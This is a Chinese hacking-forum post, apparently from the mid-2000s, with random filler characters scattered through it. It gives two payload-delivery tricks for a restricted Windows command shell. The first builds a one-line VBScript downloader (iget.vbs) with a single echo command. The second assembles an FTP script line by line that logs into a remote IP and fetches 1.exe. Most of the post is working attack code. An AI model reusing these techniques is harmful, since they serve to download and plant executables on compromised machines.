- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法:
3 I1 F# Q# A$ w% N. j' W1.iget.vbs一次写入
* ~. U, S G# }7 F' B在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
: F0 c5 R6 k! P5 }' h/ _ m5 U/ W3 m8 |+ E2 ~0 \4 A- }
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 / o6 p2 T; E* F; {
( W# w0 j q6 s& @" k! D( i这样我们可以一次echo成功,echo版本:
/ j, g6 }6 d- k$ g0 u/ e4 \0 N
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs : r6 v8 Q) N2 C P+ ^
8 S5 j2 K4 U$ V8 `8 @' T" M" m* _' _" U% Y6 i% T
2.bat调用ftp脚本的写法(by envymask)
H+ u) i! i1 i1 k0 C; n7 k
3 w0 j1 [7 a+ Iecho ftp>1.vbs ) H0 q# K+ U" H2 j$ u# }: D
echo open ip>2.vbs 2 o) O8 l' V9 f" C L9 f9 @
echo u>3.vbs
) K6 u1 m% k. q7 _( X' F R, Zecho s>4.vbs 7 [. t* Z4 n$ y) C; L% B6 J% y
echo binary>5.vbs , {& N! ^: }0 }
echo get 1.exe>6.vbs
% f- ], b; S. l- e0 O( j/ n+ ?) Cecho bay>7.vbs - \2 Y" D0 _6 s% G' Z
) L' u1 Y% ~* E4 G5 d9 Tcopy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
( \* i9 U& x, c) x</P> |
zan
|